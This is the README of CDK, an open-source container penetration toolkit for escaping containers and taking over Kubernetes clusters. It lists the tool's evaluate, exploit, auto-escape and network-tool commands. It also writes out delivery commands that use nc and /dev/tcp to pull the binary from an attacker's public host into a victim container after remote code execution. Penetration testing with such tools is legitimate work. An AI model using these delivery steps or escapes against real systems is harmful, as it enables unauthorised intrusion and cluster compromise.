Usage of CDK for attacking targets without prior mutual consent is illegal. CDK is for security testing purposes only.
CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs helps you to escape container and takeover K8s cluster easily.
Download latest release in https://github.com/cdk-team/CDK/releases/
Drop executable files into the target container and start testing.
If you have an exploit that can upload a file, then you can upload CDK binary directly.
If you have an RCE exploit, but the target container has no curl or wget, you can use the following method to deliver CDK:
- First, host CDK binary on your host with public IP.
(on your host)
nc -lvp 999 < cdk
- Inside the victim container execute
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk auto-escape <cmd>
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Auto Escape:
cdk auto-escape <cmd> Escape container in different ways then let target execute <cmd>.
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
CDK have three modules:
- Evaluate: gather information inside container to find potential weakness.
- Exploit: for container escaping, persistance and lateral movement
- Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.
Usage
cdk evaluate [--full]
This command will run the scripts below without local file scanning, using --full to enable all.
